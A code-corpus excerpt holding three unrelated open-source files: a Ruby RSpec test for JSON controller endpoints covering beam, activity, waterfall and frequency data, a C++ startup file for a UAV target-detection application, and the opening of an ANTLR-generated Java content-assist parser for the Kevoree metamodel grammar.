json = ActiveSupport::JSON.decode(response.body)
json.at_json_path("status").length.should == ApplicationController::ACTIVITY_STATUS_MAX_LENGTH
end
it "should return HTTP status 500 when incorrect data is returned from server" do
invalid_activity = TestFixtures::get_json_activity(nil, nil, nil, nil, nil, nil)
controller.stub(:get_json_activity).and_return(invalid_activity)
get :activity, :format => :json
response.code.should == @HTTP_500
end
end
describe "beam" do
it "should get data successful" do
sample_beam = TestFixtures::get_json_beam(1, 1, 1000.0, 0, 0, "ON1")
controller.stub(:get_json_beam).and_return(sample_beam)
get 'beam', :id => 1, :format => :json
response.should be_success
json = ActiveSupport::JSON.decode(response.body)
# id, targetId, freq, ra, dec, status
json.at_json_path("id").should == sample_beam[:id]
json.at_json_path("targetId").should == sample_beam[:targetId]
json.at_json_path("freq").should == sample_beam[:freq]
json.at_json_path("ra").should == sample_beam[:ra]
json.at_json_path("dec").should == sample_beam[:dec]
json.at_json_path("status").should == sample_beam[:status]
end
it "should set the id to 0 if it is set to < 0" do
sample_beam = TestFixtures::get_json_beam(-1, 1, 1000.0, 0, 0, "ON1")
controller.stub(:get_json_beam).and_return(sample_beam)
get 'beam', :id => 1, :format => :json
response.should be_success
json = ActiveSupport::JSON.decode(response.body)
json.at_json_path("id").should == 0
end
it "should set the targetId to 0 if it is set to < 0" do
sample_beam = TestFixtures::get_json_beam(1, -1, 1000.0, 0, 0, "ON1")
controller.stub(:get_json_beam).and_return(sample_beam)
get 'beam', :id => 1, :format => :json
json = ActiveSupport::JSON.decode(response.body)
json.at_json_path("targetId").should == 0
end
it "should set the freq to 0.0 if it is set to < 0" do
sample_beam = TestFixtures::get_json_beam(1, 1, -1, 0, 0, "ON1")
controller.stub(:get_json_beam).and_return(sample_beam)
get 'beam', :id => 1, :format => :json
json = ActiveSupport::JSON.decode(response.body)
json.at_json_path("freq").should == 0.0
end
it "should set teh freq to ? if it is null" do
sample_beam = TestFixtures::get_json_beam(1, 1, nil, 0, 0, "ON1")
controller.stub(:get_json_beam).and_return(sample_beam)
get 'beam', :id => 1, :format => :json
json = ActiveSupport::JSON.decode(response.body)
json.at_json_path("freq").should == "?"
end
it "should set the RA and DEC to the valid min value if the value is less than the min" do
sample_beam = TestFixtures::get_json_beam(1, 1, 1000.0, ApplicationController::MIN_RA-1, ApplicationController::MIN_DEC-1, "ON1")
controller.stub(:get_json_beam).and_return(sample_beam)
get 'beam', :id => 1, :format => :json
json = ActiveSupport::JSON.decode(response.body)
json.at_json_path("ra").should == ApplicationController::MIN_RA
json.at_json_path("dec").should == ApplicationController::MIN_DEC
end
it "should set the RA and DEC to the valid max value if the value is greater than the max" do
sample_beam = TestFixtures::get_json_beam(1, 1, 1000.0, ApplicationController::MAX_RA+1, ApplicationController::MAX_DEC+1, "ON1")
controller.stub(:get_json_beam).and_return(sample_beam)
get 'beam', :id => 1, :format => :json
json = ActiveSupport::JSON.decode(response.body)
json.at_json_path("ra").should == ApplicationController::MAX_RA
json.at_json_path("dec").should == ApplicationController::MAX_DEC
end
it "should return HTTP status 500 when incorrect data is returned from server" do
invalid_beam = TestFixtures::get_json_beam(nil, nil, nil, nil, nil, nil)
controller.stub(:get_json_beam).and_return(invalid_beam)
get :beam, :format => :json
response.code.should == @HTTP_500
end
end
describe "waterfall" do
it "should get data successfully" do
sample_waterfall = TestFixtures::sample_waterfall
controller.stub(:get_json_waterfall).and_return(sample_waterfall)
get :waterfall, :id => 3, :start_row => 5, :format => :json
json = ActiveSupport::JSON.decode(response.body)
response.should be_success
json.at_json_path("id").should == sample_waterfall["id"]
json.at_json_path("startRow").should == sample_waterfall["startRow"]
json.at_json_path("endRow").should == sample_waterfall["endRow"]
json.at_json_path("data").should == sample_waterfall["data"]
end
end
describe "frequency coverage" do
it "should get data successfully" do
sample_observation_history = TestFixtures::sample_observation_history
controller.stub(:get_observational_history_from_server).and_return(sample_observation_history)
get :frequency_coverage, :id => 23456, :format => :json
json = ActiveSupport::JSON.decode(response.body)
response.should be_success
json.count.should == frequency_num_elements
0..frequency_num_elements do |i|
if i == 2 || i == 3 || i == 4
json[i].should == true
else
json[i].should == false
end
end
end
it "should return HTTP status 500 when incorrect data is returned from server" do
invalid_observation_history = TestFixtures::invalid_observation_history
controller.stub(:get_observational_history_from_server).and_return(invalid_observation_history)
get :frequency_coverage, :id => 23456, :format => :json
response.code.should == @HTTP_500
end
end
end
| gpl-3.0 |
birolkuyumcu/TargetDetection | cvs_uavtargetdetectionapp.cpp | 1422 | /*
* Target Detection
*
* Copyright (C) Volkan Salma volkansalma@gmail.com
* Birol Kuyumcu bluekid70@gmail.com
* GPL v3 - https://github.com/birolkuyumcu/TargetDetection
*/
#include "cvs_uavtargetdetectionapp.h"
CVS_UAVTargetDetectionApp::CVS_UAVTargetDetectionApp(int argc, char *argv[]):a(argc, argv)
{
exc.setModuleName("CVS_UAVTargetDetectionApp");
//default settings
w.setModulePtrs(&imgProcess.preprocess,
&imgProcess.alignmentCalc,
&imgProcess.frameAligner,
&imgProcess.candidateDetector,
&imgProcess.candidateFilter,
&imgProcess.alarmGenerator);
w.show();
imgProcess.connectGuiSlots(w);
if(w.systemSettings.streamType == VideoStream)
{
imageSource = new VideoRetrieve(&imgProcess);
imageSource->setFps(w.systemSettings.retrieveFps);
((VideoRetrieve*)imageSource)->openVideoFile(w.systemSettings.videoFileName, 0,
cv::Size(w.systemSettings.imageWidth,
w.systemSettings.imageHeight));
}
else
{
imageSource = new CameraRetrieve();
imageSource->setFps(w.systemSettings.retrieveFps);
}
imageSource->start();
imgProcess.start();
}
void CVS_UAVTargetDetectionApp::exec()
{
a.exec();
}
| gpl-3.0 |
kevoree-modeling/eclipse-plugin | org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModelParser.java | 276770 | package org.kevoree.modeling.ui.contentassist.antlr.internal;
import java.io.InputStream;
import org.eclipse.xtext.*;
import org.eclipse.xtext.parser.*;
import org.eclipse.xtext.parser.impl.*;
import org.eclipse.emf.ecore.util.EcoreUtil;
import org.eclipse.emf.ecore.EObject;
import org.eclipse.xtext.parser.antlr.XtextTokenStream;
import org.eclipse.xtext.parser.antlr.XtextTokenStream.HiddenTokens;
import org.eclipse.xtext.ui.editor.contentassist.antlr.internal.AbstractInternalContentAssistParser;
import org.eclipse.xtext.ui.editor.contentassist.antlr.internal.DFA;
import org.kevoree.modeling.services.MetaModelGrammarAccess;
import org.antlr.runtime.*;
import java.util.Stack;
import java.util.List;
import java.util.ArrayList;
@SuppressWarnings("all")
public class InternalMetaModelParser extends AbstractInternalContentAssistParser {
public static final String[] tokenNames = new String[] {
"<invalid>", "<EOR>", "<DOWN>", "<UP>", "RULE_INT", "RULE_STRING", "RULE_ID", "RULE_ML_COMMENT", "RULE_SL_COMMENT", "RULE_WS", "RULE_ANY_OTHER", "'String'", "'Double'", "'Long'", "'Continuous'", "'Int'", "'Bool'", "'ref'", "'ref*'", "'.'", "'enum'", "'{'", "'}'", "','", "'class'", "'extends'", "'att'", "':'", "'dependency'", "'input'", "'output'", "'with'"
};
public static final int RULE_STRING=5;
public static final int RULE_SL_COMMENT=8;
public static final int T__19=19;
public static final int T__15=15;
public static final int T__16=16;
public static final int T__17=17;
public static final int T__18=18;
public static final int T__11=11;
public static final int T__12=12;
public static final int T__13=13;
public static final int T__14=14;
public static final int EOF=-1;
public static final int T__30=30;
public static final int T__31=31;
public static final int RULE_ID=6;
public static final int RULE_WS=9;
public static final int RULE_ANY_OTHER=10;
public static final int T__26=26;
public static final int T__27=27;
public static final int T__28=28;
public static final int RULE_INT=4;
public static final int T__29=29;
public static final int T__22=22;
public static final int RULE_ML_COMMENT=7;
public static final int T__23=23;
public static final int T__24=24;
public static final int T__25=25;
public static final int T__20=20;
public static final int T__21=21;
// delegates
// delegators
public InternalMetaModelParser(TokenStream input) {
this(input, new RecognizerSharedState());
}
public InternalMetaModelParser(TokenStream input, RecognizerSharedState state) {
super(input, state);
}
public String[] getTokenNames() { return InternalMetaModelParser.tokenNames; }
public String getGrammarFileName() { return "../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g"; }
private MetaModelGrammarAccess grammarAccess;
public void setGrammarAccess(MetaModelGrammarAccess grammarAccess) {
this.grammarAccess = grammarAccess;
}
@Override
protected Grammar getGrammar() {
return grammarAccess.getGrammar();
}
@Override
protected String getValueForTokenName(String tokenName) {
return tokenName;
}
// $ANTLR start "entryRuleModel"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:60:1: entryRuleModel : ruleModel EOF ;
public final void entryRuleModel() throws RecognitionException {
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:61:1: ( ruleModel EOF )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:62:1: ruleModel EOF
{
before(grammarAccess.getModelRule());
pushFollow(FOLLOW_ruleModel_in_entryRuleModel61);
ruleModel();
state._fsp--;
after(grammarAccess.getModelRule());
match(input,EOF,FOLLOW_EOF_in_entryRuleModel68);
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
}
return ;
}
// $ANTLR end "entryRuleModel"
// $ANTLR start "ruleModel"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:69:1: ruleModel : ( ( rule__Model__Group__0 ) ) ;
public final void ruleModel() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:73:2: ( ( ( rule__Model__Group__0 ) ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:74:1: ( ( rule__Model__Group__0 ) )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:74:1: ( ( rule__Model__Group__0 ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:75:1: ( rule__Model__Group__0 )
{
before(grammarAccess.getModelAccess().getGroup());
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:76:1: ( rule__Model__Group__0 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:76:2: rule__Model__Group__0
{
pushFollow(FOLLOW_rule__Model__Group__0_in_ruleModel94);
rule__Model__Group__0();
state._fsp--;
}
after(grammarAccess.getModelAccess().getGroup());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "ruleModel"
// $ANTLR start "entryRuletypeName"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:88:1: entryRuletypeName : ruletypeName EOF ;
public final void entryRuletypeName() throws RecognitionException {
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:89:1: ( ruletypeName EOF )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:90:1: ruletypeName EOF
{
before(grammarAccess.getTypeNameRule());
pushFollow(FOLLOW_ruletypeName_in_entryRuletypeName121);
ruletypeName();
state._fsp--;
after(grammarAccess.getTypeNameRule());
match(input,EOF,FOLLOW_EOF_in_entryRuletypeName128);
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
}
return ;
}
// $ANTLR end "entryRuletypeName"
// $ANTLR start "ruletypeName"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:97:1: ruletypeName : ( ( rule__TypeName__Group__0 ) ) ;
public final void ruletypeName() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:101:2: ( ( ( rule__TypeName__Group__0 ) ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:102:1: ( ( rule__TypeName__Group__0 ) )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:102:1: ( ( rule__TypeName__Group__0 ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:103:1: ( rule__TypeName__Group__0 )
{
before(grammarAccess.getTypeNameAccess().getGroup());
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:104:1: ( rule__TypeName__Group__0 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:104:2: rule__TypeName__Group__0
{
pushFollow(FOLLOW_rule__TypeName__Group__0_in_ruletypeName154);
rule__TypeName__Group__0();
state._fsp--;
}
after(grammarAccess.getTypeNameAccess().getGroup());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "ruletypeName"
// $ANTLR start "entryRuledecl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:116:1: entryRuledecl : ruledecl EOF ;
public final void entryRuledecl() throws RecognitionException {
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:117:1: ( ruledecl EOF )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:118:1: ruledecl EOF
{
before(grammarAccess.getDeclRule());
pushFollow(FOLLOW_ruledecl_in_entryRuledecl181);
ruledecl();
state._fsp--;
after(grammarAccess.getDeclRule());
match(input,EOF,FOLLOW_EOF_in_entryRuledecl188);
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
}
return ;
}
// $ANTLR end "entryRuledecl"
// $ANTLR start "ruledecl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:125:1: ruledecl : ( ( rule__Decl__Alternatives ) ) ;
public final void ruledecl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:129:2: ( ( ( rule__Decl__Alternatives ) ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:130:1: ( ( rule__Decl__Alternatives ) )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:130:1: ( ( rule__Decl__Alternatives ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:131:1: ( rule__Decl__Alternatives )
{
before(grammarAccess.getDeclAccess().getAlternatives());
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:132:1: ( rule__Decl__Alternatives )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:132:2: rule__Decl__Alternatives
{
pushFollow(FOLLOW_rule__Decl__Alternatives_in_ruledecl214);
rule__Decl__Alternatives();
state._fsp--;
}
after(grammarAccess.getDeclAccess().getAlternatives());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "ruledecl"
// $ANTLR start "entryRuleenumDeclr"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:144:1: entryRuleenumDeclr : ruleenumDeclr EOF ;
public final void entryRuleenumDeclr() throws RecognitionException {
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:145:1: ( ruleenumDeclr EOF )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:146:1: ruleenumDeclr EOF
{
before(grammarAccess.getEnumDeclrRule());
pushFollow(FOLLOW_ruleenumDeclr_in_entryRuleenumDeclr241);
ruleenumDeclr();
state._fsp--;
after(grammarAccess.getEnumDeclrRule());
match(input,EOF,FOLLOW_EOF_in_entryRuleenumDeclr248);
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
}
return ;
}
// $ANTLR end "entryRuleenumDeclr"
// $ANTLR start "ruleenumDeclr"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:153:1: ruleenumDeclr : ( ( rule__EnumDeclr__Group__0 ) ) ;
public final void ruleenumDeclr() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:157:2: ( ( ( rule__EnumDeclr__Group__0 ) ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:158:1: ( ( rule__EnumDeclr__Group__0 ) )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:158:1: ( ( rule__EnumDeclr__Group__0 ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:159:1: ( rule__EnumDeclr__Group__0 )
{
before(grammarAccess.getEnumDeclrAccess().getGroup());
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:160:1: ( rule__EnumDeclr__Group__0 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:160:2: rule__EnumDeclr__Group__0
{
pushFollow(FOLLOW_rule__EnumDeclr__Group__0_in_ruleenumDeclr274);
rule__EnumDeclr__Group__0();
state._fsp--;
}
after(grammarAccess.getEnumDeclrAccess().getGroup());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "ruleenumDeclr"
// $ANTLR start "entryRuleclassDeclr"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:172:1: entryRuleclassDeclr : ruleclassDeclr EOF ;
public final void entryRuleclassDeclr() throws RecognitionException {
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:173:1: ( ruleclassDeclr EOF )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:174:1: ruleclassDeclr EOF
{
before(grammarAccess.getClassDeclrRule());
pushFollow(FOLLOW_ruleclassDeclr_in_entryRuleclassDeclr301);
ruleclassDeclr();
state._fsp--;
after(grammarAccess.getClassDeclrRule());
match(input,EOF,FOLLOW_EOF_in_entryRuleclassDeclr308);
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
}
return ;
}
// $ANTLR end "entryRuleclassDeclr"
// $ANTLR start "ruleclassDeclr"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:181:1: ruleclassDeclr : ( ( rule__ClassDeclr__Group__0 ) ) ;
public final void ruleclassDeclr() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:185:2: ( ( ( rule__ClassDeclr__Group__0 ) ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:186:1: ( ( rule__ClassDeclr__Group__0 ) )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:186:1: ( ( rule__ClassDeclr__Group__0 ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:187:1: ( rule__ClassDeclr__Group__0 )
{
before(grammarAccess.getClassDeclrAccess().getGroup());
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:188:1: ( rule__ClassDeclr__Group__0 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:188:2: rule__ClassDeclr__Group__0
{
pushFollow(FOLLOW_rule__ClassDeclr__Group__0_in_ruleclassDeclr334);
rule__ClassDeclr__Group__0();
state._fsp--;
}
after(grammarAccess.getClassDeclrAccess().getGroup());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "ruleclassDeclr"
// $ANTLR start "entryRuleclassElemDeclr"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:200:1: entryRuleclassElemDeclr : ruleclassElemDeclr EOF ;
public final void entryRuleclassElemDeclr() throws RecognitionException {
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:201:1: ( ruleclassElemDeclr EOF )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:202:1: ruleclassElemDeclr EOF
{
before(grammarAccess.getClassElemDeclrRule());
pushFollow(FOLLOW_ruleclassElemDeclr_in_entryRuleclassElemDeclr361);
ruleclassElemDeclr();
state._fsp--;
after(grammarAccess.getClassElemDeclrRule());
match(input,EOF,FOLLOW_EOF_in_entryRuleclassElemDeclr368);
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
}
return ;
}
// $ANTLR end "entryRuleclassElemDeclr"
// $ANTLR start "ruleclassElemDeclr"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:209:1: ruleclassElemDeclr : ( ( rule__ClassElemDeclr__Alternatives ) ) ;
public final void ruleclassElemDeclr() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:213:2: ( ( ( rule__ClassElemDeclr__Alternatives ) ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:214:1: ( ( rule__ClassElemDeclr__Alternatives ) )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:214:1: ( ( rule__ClassElemDeclr__Alternatives ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:215:1: ( rule__ClassElemDeclr__Alternatives )
{
before(grammarAccess.getClassElemDeclrAccess().getAlternatives());
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:216:1: ( rule__ClassElemDeclr__Alternatives )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:216:2: rule__ClassElemDeclr__Alternatives
{
pushFollow(FOLLOW_rule__ClassElemDeclr__Alternatives_in_ruleclassElemDeclr394);
rule__ClassElemDeclr__Alternatives();
state._fsp--;
}
after(grammarAccess.getClassElemDeclrAccess().getAlternatives());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "ruleclassElemDeclr"
// $ANTLR start "entryRuleclassParentDeclr"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:228:1: entryRuleclassParentDeclr : ruleclassParentDeclr EOF ;
public final void entryRuleclassParentDeclr() throws RecognitionException {
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:229:1: ( ruleclassParentDeclr EOF )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:230:1: ruleclassParentDeclr EOF
{
before(grammarAccess.getClassParentDeclrRule());
pushFollow(FOLLOW_ruleclassParentDeclr_in_entryRuleclassParentDeclr421);
ruleclassParentDeclr();
state._fsp--;
after(grammarAccess.getClassParentDeclrRule());
match(input,EOF,FOLLOW_EOF_in_entryRuleclassParentDeclr428);
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
}
return ;
}
// $ANTLR end "entryRuleclassParentDeclr"
// $ANTLR start "ruleclassParentDeclr"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:237:1: ruleclassParentDeclr : ( ( rule__ClassParentDeclr__Group__0 ) ) ;
public final void ruleclassParentDeclr() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:241:2: ( ( ( rule__ClassParentDeclr__Group__0 ) ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:242:1: ( ( rule__ClassParentDeclr__Group__0 ) )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:242:1: ( ( rule__ClassParentDeclr__Group__0 ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:243:1: ( rule__ClassParentDeclr__Group__0 )
{
before(grammarAccess.getClassParentDeclrAccess().getGroup());
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:244:1: ( rule__ClassParentDeclr__Group__0 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:244:2: rule__ClassParentDeclr__Group__0
{
pushFollow(FOLLOW_rule__ClassParentDeclr__Group__0_in_ruleclassParentDeclr454);
rule__ClassParentDeclr__Group__0();
state._fsp--;
}
after(grammarAccess.getClassParentDeclrAccess().getGroup());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "ruleclassParentDeclr"
// $ANTLR start "entryRuleattributeDeclaration"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:256:1: entryRuleattributeDeclaration : ruleattributeDeclaration EOF ;
public final void entryRuleattributeDeclaration() throws RecognitionException {
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:257:1: ( ruleattributeDeclaration EOF )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:258:1: ruleattributeDeclaration EOF
{
before(grammarAccess.getAttributeDeclarationRule());
pushFollow(FOLLOW_ruleattributeDeclaration_in_entryRuleattributeDeclaration481);
ruleattributeDeclaration();
state._fsp--;
after(grammarAccess.getAttributeDeclarationRule());
match(input,EOF,FOLLOW_EOF_in_entryRuleattributeDeclaration488);
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
}
return ;
}
// $ANTLR end "entryRuleattributeDeclaration"
// $ANTLR start "ruleattributeDeclaration"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:265:1: ruleattributeDeclaration : ( ( rule__AttributeDeclaration__Group__0 ) ) ;
public final void ruleattributeDeclaration() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:269:2: ( ( ( rule__AttributeDeclaration__Group__0 ) ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:270:1: ( ( rule__AttributeDeclaration__Group__0 ) )
{
